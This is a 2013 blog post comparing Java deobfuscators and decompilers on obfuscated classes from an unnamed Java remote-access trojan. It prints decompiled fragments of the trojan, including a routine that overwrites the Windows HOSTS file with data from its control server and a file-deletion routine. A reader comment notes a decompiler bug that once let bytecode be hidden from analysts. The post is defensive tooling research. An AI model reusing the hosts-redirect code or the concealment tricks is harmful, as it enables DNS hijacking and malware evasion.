03 September 2013

Malware Analysis: The State of Java Reversing Tools

In the world of incident response and malware analysis, Java has always been a known constant. While many malware analysts are monitoring more complex malware applications in various languages, Java is still the language of love for drive-by attacks on common end-users. It is usually with certainty that any home user infection with malware such as Zeus, Citadel, Carberp, or ZeroAccess originated through a Java vulnerability and exploit. In typical crimeware (banking/financial theft malware) incidents, one group specializes on the backend malware (e.g. Zeus) while outsourcing the infection and entrenchment to a second group that creates exploit software like BlackHole, Neosploit, and Fiesta.

In many incident responses, I've seen analysts gloss over the Java infection vector as just an end-note. Once they see the final-stage malware on the system they write off the Java component as just a downloader without any real analysis. This creates issues for the times when the Java exploit only partially succeeds resulting in malicious Java JAR files on a system but no Trojan or malware.

Why did it fail? Was the system properly patched to prevent a full infection? Was there a permission setting that stopped the downloader in its tracks? These are the questions that typically force an analyst to begin analyzing Java malware.

I've discussed Java quite a bit on this blog in the past. My Java IDX cache file parser was made for the purpose of identifying files downloaded via Java, be them Windows executables or additional Java JAR files. In that same post I analyzed Java from a Fiesta exploit kit that installed a ZeroAccess trojan onto an analyzed system.

Though Java is not my forte, I've had to face it enough to find that there are many weaknesses and gaps in the tools used for analysis. What I found is that most analysts have been using the same, outdated tools in every case. If the tool fails, they just move on and don't finish their analysis. All the while, new applications are being released that are worthy of note. I felt it worthy to do an annual check-up of the state of analysis tools to display what is available and what weaknesses each holds. There have been similar efforts by others in the past, with the most recent I've found being one in 2010 on CoffeeBreaks, by Jerome.


This post was intended to be much larger and in-depth, delving into how each analysis tool manages decompilation and why they fail, but due to time and resources it was cut short.

The Setup

For this comparison I will be using code from a Java RAT that is in active development. Due to this active development, I will not name the RAT nor provide any files for download.

The malware used is obfuscated by a well-known Java obfuscation tool named Zelix KlassMaster (ZKM). ZKM has been discussed widely in the industry for years and I gave a presentation on how to identify and reverse its string encryption at a NoVA Hackers! (NoVAH!) meeting in May of 2012.

Due to this obfuscation we will be matrixing the results into decompilers match with two well known Java deobfuscators: JMD and JDO.

As it seems to be common with all Java analysis tools, many discussed here are no longer in development and have been left abandoned. However, in many cases, they still work for a majority of malicious samples.

Deobfuscators:
Deobfuscators work by detecting known obfuscation methods, such as renaming variables, classes, and functions, as well as basic string encoding. While many of these are methods are specific to known obfuscators, generic deobfuscation can be performed by searching for a routine that runs against encoded strings, then calling that routine externally against the strings.

JMD is one open-source deobfuscator, written in Java, but also available as a .NET 2.0 (64-bit d/l) executable. It runs directly against a JAR file and produces a deubfuscated JAR as a result. It provides the following deobfuscation methods:
  • Allatori
  • DashO
  • Generic string encoding
  • JShrink
  • SmokeScreen
  • Zelix KlassMaster (ZKM)

JDO (Java DeObfuscator) is open-source Java, as well, and is provided as a .NET 2.0 executable. Unlike JMD, it will only operate against a Java Class file. This will require you to manually unzip a JAR file, then run JDO against each individual Class file. It will attempt to automatically detect and deobfuscate data through generic means.

Decompilers:
JD-GUI is probably the most widely used decompiler. It features a well-thought out GUI as well as the ability to parse entire JAR files. However, its current hosting site is unavailable, though the site is mirrored elsewhere. For updates, refer to the Twitter page of Emmanuel Dupuy.

The various forms of JD-GUI
For the purpose of this post, the latest version of JD-GUI was used. However, this version may be lacking the functionality of over versions of "JD". Recently, a greater deal of development has been performed by the JD-GUI developer on JD-Core / JD-IntelliJ.

JAD is a free decompiler, though one that has been discontinued for many years, and as such has many problems with newer iterations of the Java Development Kit (JDK). It's original web domain is gone, and the project is now hosted elsewhere. It's a basic, command-line tool that has been used as the backend to multiple other Java decompilers.

FernFlower was a free decompiler that appeared around 2009 and was unique for being a web-based decompiler. In 2011, an offline JAR file was made available, and the website taken down shortly after. It's currently used as the backend to many commercial decompilers, such as AndroChef and DJ Java Decompiler. Notably, it's currently available bundled in with the Minecraft Coder Pack.

Procyon is a recently released, open-source decompiler. It is currently in active development and, while a command-line tool, does have two GUI front-ends available: Luyten and SecureTeam's Decompiler. Procyon is available on Bitbucket.

Other decompilers that were not included in the scope of this post:
CFR
JReversePro
Krakatau - Python-based decompiler

Disassemblers:
As reversers know, decompilation is an immature science. Certain liberties are taken to assume and guess what code is doing in order to make readable source. The most accurate method is to simply view the raw data itself as compiled Java bytecode. For those situations, reJ provides an excellent GUI front end, and the ability to modify code on-the-fly.

Eclipse plugins
Some decompilers have the Eclipse IDE plugins available. Eclipse IDE is currently the prominent environment for Java development, and such plugins allow for code to be reversed directly into a new project for debugging and analysis.


Test 1: Simple file writing function.

The first test will be against an obfuscated class function that allows the RAT to save network-transmitted data to the local Windows HOSTS file to override DNS resolutions.

JD-GUI (raw class file)

import java.io.FileWriter;

public class ec extends u
{
  private static final String[] z;

  public void b(String paramString)
  {
    int i = c.db; String str = s.b();
    try { if (i != 0) break label140; if (b.a() != b.f) break label128;  } catch (Exception localException2) { throw localException2; }
    try {
      FileWriter localFileWriter = new FileWriter(System.getenv(z[4]) + z[2]);
      localFileWriter.write(str);
      localFileWriter.close();
      s.b(z[1]);
      s.b(""); } catch (Exception localException1) {
    }try {
      s.b(z[1]);
      s.b(z[3] + localException1.getMessage());

      if (i == 0) return;
      label128: s.b(z[1]); } catch (Exception localException3) { throw localException3; }
    label140: s.b(z[0]);
  }

From this analysis, we have little to work off of. We see the java.io.FileWriter class in use, so we know that file activity is taking place, but all strings are replaced with array lookups of z[#]. Let's attempt this again after running the class file through an obfuscator.

JD-GUI (JDO Deobfuscated)

import java.io.FileWriter;

public class Class_ec extends u
{
  private static final String[] var_3a2;

  public void sub_3ed(String paramString)
  {
    int i = c.db; String str = s.b();
    try { if (i != 0) break label140; if (b.a() != b.f) break label128;  } catch (Exception localException2) { throw localException2; }
    try {
      FileWriter localFileWriter = new FileWriter(System.getenv(var_3a2[4]) + var_3a2[2]);
      localFileWriter.write(str);
      localFileWriter.close();
      s.b(var_3a2[1]);
      s.b(""); } catch (Exception localException1) {
    }try {
      s.b(var_3a2[1]);
      s.b(var_3a2[3] + localException1.getMessage());

      if (i == 0) return;
      label128: s.b(var_3a2[1]); } catch (Exception localException3) { throw localException3; }
    label140: s.b(var_3a2[0]);
  }

  static
  {
    // Byte code:
    //   0: iconst_5
    //   1: anewarray 13 java/lang/String
    //   4: dup
    //   5: iconst_0
    //   6: ldc 4
... Reduced for brevity ...

    //   156: invokespecial 97 java/lang/String:<init> ([C)V
    //   159: invokevirtual 100 java/lang/String:intern ()Ljava/lang/String;
    //   162: swap
    //   163: pop
    //   164: swap
    //   165: tableswitch default:+-152 -> 13, 0:+-143->22, 1:+-134->31, 2:+-125->40, 3:+-116->49
  }
}

Well, that was awkward. JMD did attempt to rename the string array from 'z' to 'var_3a2', but its edits exposed ZKM's string decryption function. This function was unable to be decompiled by JD-GUI and appears as disassembled code. Oddly, this function was not seen by JD-GUI on the raw class file. But, nothing usable here. Similar results were found when using JDO with other decompilers, so further use in this post was stopped.

JD-GUI (JMD Deobfuscated)

import java.io.FileWriter;

public class ec extends u
{
  private static final String[] z;

  public void b(String arg0)
  {
    String str = s.b();
    try { if (b.a() != b.f) break label111;  } catch (Exception localException2) { throw localException2; }
    try {
      FileWriter localFileWriter = new FileWriter(System.getenv("SystemDrive") + "\\Windows\\System32\\drivers\\etc\\hosts");
      localFileWriter.write(str);
      localFileWriter.close();
      s.b("HOSTANSW");
      s.b(""); } catch (Exception localException1) {
    }try {
      s.b("HOSTANSW");
      s.b("ERR: " + localException1.getMessage()); return;

      label111: s.b("HOSTANSW"); } catch (Exception localException3) { throw localException3; }
    s.b("Needs to be windows");
  }
}

Well, our work here is done! Based on this display we see the Java code resolving the environment variable of SystemDrive (typically C:\Windows) and adding the hardcoded path to the HOSTS file. It writes a string that's returned from class 's' function 'b' (s.b()), a function responsible for network communications. The "HOSTANSW" strings are simply transmitted back to the C2, along with the "ERR: " message, if encountered.

In all, JD-GUI combined with JMD was able to give us a "full" analysis of this one class file. Let's try other decompilers.

Procyon (raw class file)

import java.io.*;

public class ec extends u
{
    private static final String[] z;
    
    public void b(final String s) {
        final int db = c.db;
        final String b = s.b();
        Label_0140: {
            Label_0128: {
                try {
                    if (db != 0) {
                        break Label_0140;
                    }
                    if (b.a() != b.f) {
                        break Label_0128;
                    }
                }
                catch (Exception ex) {
                    throw ex;
                }
                try {
                    final FileWriter fileWriter = new FileWriter(System.getenv(ec.z[4]) + ec.z[2]);
                    fileWriter.write(b);
                    fileWriter.close();
                    s.b(ec.z[1]);
                    s.b("");
                }
                catch (Exception fileWriter) {
                    s.b(ec.z[1]);
                    final FileWriter fileWriter;
                    s.b(new StringBuilder(ec.z[3]).append(((Throwable)fileWriter).getMessage()).toString());
                    if (db == 0) {
                        return;
                    }
                    s.b(ec.z[1]);
                    s.b(ec.z[0]);
                    final Object o;
                    throw o;
                }
            }
        }
    }
    
    static {
        // 
        // This method could not be decompiled.
        // 
        // Original Bytecode:
        // 
        //     0: iconst_5       
        //     1: anewarray       Ljava/lang/String;
        //     4: dup            
        //     5: iconst_0       
        //     6: ldc             "_8>f 1)4\" t},k u2,q"
... Reduced for brevity ...      
        //   165: tableswitch {
        //                0: 22
        //                1: 31
        //                2: 40
        //                3: 49
        //          default: 13
        //        }
        //   196: return         
        // 
        // The error that occurred was:
        // 
        // java.lang.IllegalStateException: Inconsistent stack size at #0053.
        //     at com.strobel.decompiler.ast.AstBuilder.performStackAnalysis(AstBuilder.java:1104)

... Reduced for brevity ...      
        throw new IllegalStateException("An error occurred while decompiling this method.");
    }
}

Interesting results there. Note that Procyon threw an exception at the end for an "Inconsistent stack size". Regardless, the code decompiled fine. It also recognized the ZKM string decryption routine but only provided the disassembled code for it. The decompiled code is almost identical to that provided by JD-GUI but is in a much more structured display. While JD-GUI attempts to group conditions together and compact the function borders ({}), Procyon gives a more formal output, albeit a larger one. Even its disassembled output is more structured, with liberal carriage returns.

Let's now run Procyon with a deobfuscated class file:

Procyon (JMD Deobfuscated)

import java.io.*;

public class ec extends u
{
    private static final String[] z;
    
    public void b(final String arg0) {
        final String b = s.b();
        Label_0111: {
            try {
                if (b.a() != b.f) {
                    break Label_0111;
                }
            }
            catch (Exception ex) {
                throw ex;
            }
            try {
                final FileWriter fileWriter = new FileWriter(System.getenv("SystemDrive") + "\\Windows\\System32\\drivers\\etc\\hosts");
                fileWriter.write(b);
                fileWriter.close();
                s.b("HOSTANSW");
                s.b("");
                return;
            }
            catch (Exception fileWriter) {
                s.b("HOSTANSW");
                final FileWriter fileWriter;
                s.b("ERR: " + ((Throwable)fileWriter).getMessage());
                return;
            }
            try {
                s.b("HOSTANSW");
            }
            catch (Exception ex2) {
                throw ex2;
            }
        }
        
        s.b("Needs to be windows");
    }
}

Similar to JD-GUI, we're able to get a clean decompiled analysis of the file. The two code produced between the two is nearly identical with the main difference being in the formal structure of the conditions.

JAD (raw class file)

JAD is commonly the backup to JD-GUI, but is a much outdated model for decompilation and disassembly. One of my favorite features about JAD, though, is that when it does fail to decompile, it's disassembly is a good mixture of the two. It disassembles, but attempts to put logic into the disassembly instead of just a blind dump like JD-GUI and Procyon:


import java.io.FileWriter;

public class ec extends u
{

    public ec()
    {
    }

    public void b(String s1)
    {
        String s2;
        int i;
        i = c.db;
        s2 = s.b();
        try
        {
label0:
            {
                if(i != 0)
                    break MISSING_BLOCK_LABEL_140;
                if(b.a() != b.f)
                    break MISSING_BLOCK_LABEL_128;
                break label0;
            }
        }
        catch(Exception _ex) { }
        FileWriter filewriter = new FileWriter((new StringBuilder(String.valueOf(System.getenv(z[4])))).append(z[2]).toString());
        filewriter.write(s2);
        filewriter.close();
        s.b(z[1]);
        s.b("");
        break MISSING_BLOCK_LABEL_148;
        Exception exception;
        exception;
        s.b(z[1]);
        s.b((new StringBuilder(z[3])).append(exception.getMessage()).toString());
        if(i == 0)
            break MISSING_BLOCK_LABEL_148;
        s.b(z[1]);
        break MISSING_BLOCK_LABEL_140;
        throw ;
        s.b(z[0]);
    }

    private static final String z[];

    static 
    {
        String as[] = new String[5];
        as;
        as;
        0;
        "_8>f\0071)4\"\026t},k\032u2,q";
        -1;
          goto _L1
_L7:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        true;
        "Y\022\bV5_\016\f";
        false;
          goto _L1
_L8:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        2;
        "M\n2l\020~*(^'h./g\031\"o\007f\006x+>p\007M8/a(y2(v\007";
        true;
          goto _L1
_L9:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        3;
        "T\017\t8T";
        2;
          goto _L1
_L10:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        4;
        "B$(v\021|\031)k\002t";
        3;
          goto _L1
... Reduced for brevity ...
        JVM INSTR new #13  <Class String>;
        JVM INSTR dup_x1 ;
        JVM INSTR swap ;
        String();
        intern();
        JVM INSTR swap ;
        JVM INSTR pop ;
        JVM INSTR swap ;
        JVM INSTR tableswitch 0 3: default 13
    //                   0 22
    //                   1 31
    //                   2 40
    //                   3 49;
           goto _L7 _L8 _L9 _L10 _L11
    }
}

JAD's decompiler does a fairly decent job, but differs on how it handles exception handling within the code. Let's see how it operates on deobfucated classes:

JAD (JMD Deobfuscated)


import java.io.FileWriter;

public class ec extends u
{

    public ec()
    {
    }

    public void b(String arg0)
    {
        String s1;
        s1 = s.b();
        try
        {
label0:
            {
                if(b.a() != b.f)
                    break MISSING_BLOCK_LABEL_111;
                break label0;
            }
        }
        catch(Exception _ex) { }
        FileWriter filewriter = new FileWriter((new StringBuilder(String.valueOf(System.getenv("SystemDrive")))).append("\\Windows\\System32\\drivers\\etc\\hosts").toString());
        filewriter.write(s1);
        filewriter.close();
        s.b("HOSTANSW");
        s.b("");
        break MISSING_BLOCK_LABEL_129;
        Exception exception;
        exception;
        s.b("HOSTANSW");
        s.b((new StringBuilder("ERR: ")).append(exception.getMessage()).toString());
        break MISSING_BLOCK_LABEL_129;
        s.b("HOSTANSW");
        break MISSING_BLOCK_LABEL_122;
        throw ;
        s.b("Needs to be windows");
    }

    private static final String z[];

}

Here we see similar results as to what other tools found. But, as mentioned earlier, the exception handling is very confusing. There are breaks and exceptions inline with functional code. Later conditional sections, such as ensuring that the system is running on Microsoft Windows, are ignored and the code is shown as one series of instructions. All-in-all, it does give us some of the source code in a somewhat reasonable facsimile of the original. Excellent as a back-up tool if others fail, I wouldn't rely upon it for my analysis.

What about FernFlower?

FernFlower was a well known and trusted decompiler years ago. Like most decompilers, it fell off the scene silently. The first version was web-based, requiring you to upload your class files for analysis. Later versions were compiled. The FernFlower engine is currently used as the backend for commercial (shareware) products of DJ Decompiler and AndroChef. While competent tools that have built upon the capabilities of FernFlower, they are generally just commercial GUIs for the tool.

Additionally, FernFlower alone failed horribly in all of the tests here. Astonishingly, when confronted with the raw class file, it was unable to decompile or disassemble the main HOSTS writing function. However, it did decompile ZKM's string decryption routine, the exact opposite of what we need:


public class ec extends u {

   private static final String[] z;

   public void b(String param1) {
      // $FF: Couldn't be decompiled
   }

   static {
      String[] var10000 = new String[5];
      String[] var10001 = var10000;
      byte var10002 = 0;
      String var10003 = "_8>f 1)4\" t},k u2,q";
      byte var10004 = -1;

      while(true) {
         char[] var5;
         label38: {
            char[] var2 = var10003.toCharArray();
            int var10006 = var2.length;
            int var0 = 0;
            var5 = var2;
            int var6 = var10006;
            if(var10006 > 1) {
               var5 = var2;
               var6 = var10006;
               if(var10006 <= var0) {
                  break label38;
               }
            }

            do {
               char[] var8 = var5;
               int var10007 = var0;

               while(true) {
                  char var10008 = var8[var10007];
                  byte var10009;
                  switch(var0 % 5) {
                  case 0:
                     var10009 = 17;
                     break;
                  case 1:
                     var10009 = 93;
                     break;
                  case 2:
                     var10009 = 91;
                     break;
                  case 3:
                     var10009 = 2;
                     break;
                  default:
                     var10009 = 116;
                  }

                  var8[var10007] = (char)(var10008 ^ var10009);
                  ++var0;
                  if(var6 != 0) {
                     break;
                  }

                  var10007 = var6;
                  var8 = var5;
               }
            } while(var6 > var0);
         }

         String var4 = (new String(var5)).intern();
         switch(var10004) {
         case 0:
            var10001[var10002] = var4;
            var10001 = var10000;
            var10002 = 2;
            var10003 = "M\n2l ~*(^\'h./g \"o f x+>p M8/a(y2(v ";
            var10004 = 1;
            break;
         case 1:
            var10001[var10002] = var4;
            var10001 = var10000;
            var10002 = 3;
            var10003 = "T \t8T";
            var10004 = 2;
            break;
         case 2:
            var10001[var10002] = var4;
            var10001 = var10000;
            var10002 = 4;
            var10003 = "B$(v | )k t";
            var10004 = 3;
            break;
         case 3:
            var10001[var10002] = var4;
            z = var10000;
            return;
         default:
            var10001[var10002] = var4;
            var10001 = var10000;
            var10002 = 1;
            var10003 = "Y \bV5_ \f";
            var10004 = 0;
         }
      }
   }
}


Test 2

The second test is against a very basic class file that performs one overall function, to delete a passed filename. One notable feature about this class file is that it contains no string table. That is one less layer to work around, but it still gave some issues.

JD-GUI (raw class file  /  JDO Deobfuscated  /  JMD Deobfuscated)

public class cc extends u
{
  // ERROR //
  public void b(java.lang.String paramString)
  {
    // Byte code:
    //   0: getstatic 76 c:db I
    //   3: istore 5
    //   5: invokestatic 13 s:b ()Ljava/lang/String;
    //   8: astore_2
    //   9: invokestatic 13 s:b ()Ljava/lang/String;
    //   12: astore_3
    //   13: new 6 java/io/File
    //   16: dup
    //   17: new 8 java/lang/StringBuilder
... Reduced for brevity ...
// 93: athrow
// 94: aload 4 // 96: getstatic 9 s:h Ljava/io/DataInputStream; // 99: aconst_null // 100: invokestatic 11 g:e ()[B // 103: invokestatic 12 p:b (Ljava/io/File;Ljava/io/DataInputStream;Lq;[B)V // 106: return // // Exception table: // from to target type // 46 59 62 re // 53 70 73 re // 63 80 83 re // 74 90 93 re } }

The first run of JD-GUI against this file produced identical results regardless of if a deobfuscator was used. That leads to the assumption that core obfuscation used by this malware is to simply rename functions and encode strings. However, it failed to decompile the code in any way, providing just basic disassembled code.

Procyon (raw class file  /  JDO Deobfuscated  /  JMD Deobfuscated)

import java.io.*;

public class cc extends u
{
    public void b(final String s) {
        final int db = c.db;
        final String b = s.b();
        final String b2 = s.b();
        final File file = new File(b + File.separator + b2);
        File file3 = null;
        Label_0096: {
            Label_0094: {
                try {
                    final File file2 = file3 = file;
                    if (db != 0) {
                        break Label_0096;
                    }
                    if (!file2.exists()) {
                        break Label_0094;
                    }
                }
                catch (re re) {
                    throw re;
                }
                final File file4;
                try {
                    file4 = (file3 = file);
                    if (db != 0) {
                        break Label_0096;
                    }
                }
                catch (re re2) {
                    throw re2;
                }
                try {
                    if (!file4.isFile()) {
                        break Label_0094;
                    }
                }
                catch (re re3) {
                    throw re3;
                }
                try {
                    file.delete();
                }
                catch (re re4) {
                    throw re4;
                }
            }
            
            file3 = file;
        }
        
        p.b(file3, s.h, null, g.e());
    }
}

Procyon provides ideal output. It shows the various exception catching taking place to ensure that the file exists, and is a file (not a folder or device), before calling for the deletion of it. The only issue is that the file object is copied into three other objects (file2, file3, file4) for exception catching purposes. Realistically, these would likely all be the same object.


JAD (raw class file  /  JDO Deobfuscated  /  JMD Deobfuscated)


import java.io.File;

public class cc extends u
{

    public cc()
    {
    }

    public void b(String s1)
    {
        File file;
        int i;
        i = c.db;
        String s2 = s.b();
        String s3 = s.b();
        file = new File((new StringBuilder(String.valueOf(s2))).append(File.separator).append(s3).toString());
        file;
        if(i != 0) goto _L2; else goto _L1
_L1:
        exists();
        JVM INSTR ifeq 94;
           goto _L3 _L4
        throw ;
_L3:
        file;
        if(i != 0) goto _L2; else goto _L5
        throw ;
_L5:
        isFile();
        JVM INSTR ifeq 94;
           goto _L6 _L4
        throw ;
_L6:
        file.delete();
          goto _L4
        throw ;
_L4:
        file;
_L2:
        s.h;
        null;
        g.e();
        p.b();
    }
}

Here, JAD slightly disappoints. It was unable to create decompiled code from the point of the first exception catch. Instead, it reverts to a mix of disassembled Java code and decompiled code. However, the class is still simple enough to understand the functionality from this view, though it's nowhere near as useable as Procyon.


What about Krakatau?
Krakatau was mentioned earlier, but not shown here. In my experience, Krakatau provides one of the best decompilation outputs, and is able to reverse a larger array of unusual code. In fact, for the first test, it is able to produce valid code for both the obfuscated routine and the string encoder. It is definitely notable of mention and use. However, I also had many issues with it working correctly. It would crash on most samples I gave it, though it would produce decompiled results. Most of this is due to minor issues: hardcoded checks for a file extension of ".jar", a Java path of JAVA_HOME\jre\lib\rt.jar, instead of the seen "jre7", etc. It may require small adjustments and an analytic eye to work cleanly in its current state, but it is definitely shaping up to become one of the better decompilers.

reJ (raw class file)

I can't just bring up reJ and not discuss it more in depth. reJ is my favorite Java tool for code manipulation, giving you a great deal of power over the code in its compiled form. It is a Java-based disassembler and hex editor for compiled Java class files. It provides granular inspection of the byte codes, string tables, and hardcoded values. It also allows for the direct editing, deletion, and addition of new byte code. It is only a disassembler, though, so its use requires extra knowledge of Java bytecode.

For a better analysis, I'd recommend toggling/enabling the following:
  • View -> Reference Translation -> Hybrid
  • View -> Split Mode -> Hex View
  • View -> Constant Pool

With some practice, you can work some magic with obfuscated Java code with reJ. By inserting print statements you could have the program display all of its decoded/operational values during run time. However, this does require that you manually manage the stack pointers, which is not for the faint of reversing.


Closing Statements

The one takeaway from all of this is that there is, still, no clear-cut best decompiler. Up until this year, it was a losing battle of abandoned products against ever-changing obfuscators and Java implementations. The recent introduction of Procyon, CFP, Krakatau has introduced much-needed new blood into the field. While their results are still not perfect, the hope is that within the next year or two they should surpass JD-GUI and JAD.

For now, though, analysis still requires that a reverser run multiple decompilers against their sample to determine the actual functionality. My current flow has always been to run JD-GUI first, then JAD. However, I've been swayed towards Procyon, accompanied by its new GUIs, to easily churn through hundreds of classes and JAR files, making it my current first-run analysis tool. Krakatau is also included, but it's not yet a tool I would give to a junior analyst.

I'm very excited to see what will come about with these products next year when they've had a chance to mature.


5 comments:

  1. Very cool. Any chance you could post the class files you analyzed here to the Procyon issue tracker so I could look into improving its handling of (de)obfuscated code? (You can create a single issue and attach the relevant classes.)

    Oh, and one minor correction: Procyon is written in Java, not Python :).

    Cheers!

    ReplyDelete
  2. Indeed, it is Java :) I made the corrections, thank you.

    I'll run Procyon through a series of classes here and pull out the ones that are giving unusual errors and post them as an issue.

    Thank you for developing Procyon, and continuing to do so!

    ReplyDelete
  3. Thanks! Anywhere you see an "Inconsistent stack size" error would be particularly useful.

    ReplyDelete
  4. Hi, author of Krakatau here. Do you have any suggestions on how to improve usability?

    ReplyDelete
  5. I discovered (and disclosed. It's not an issue any more) a bug in Procyon which allowed arbitrary bytecode to be concealed. It boiled down to the decompiler not correctly considering wide gotos, such that a wide goto backwards wouldn't be considered in the output at all. Iirc, this issue still effects JD-GUI.

    ReplyDelete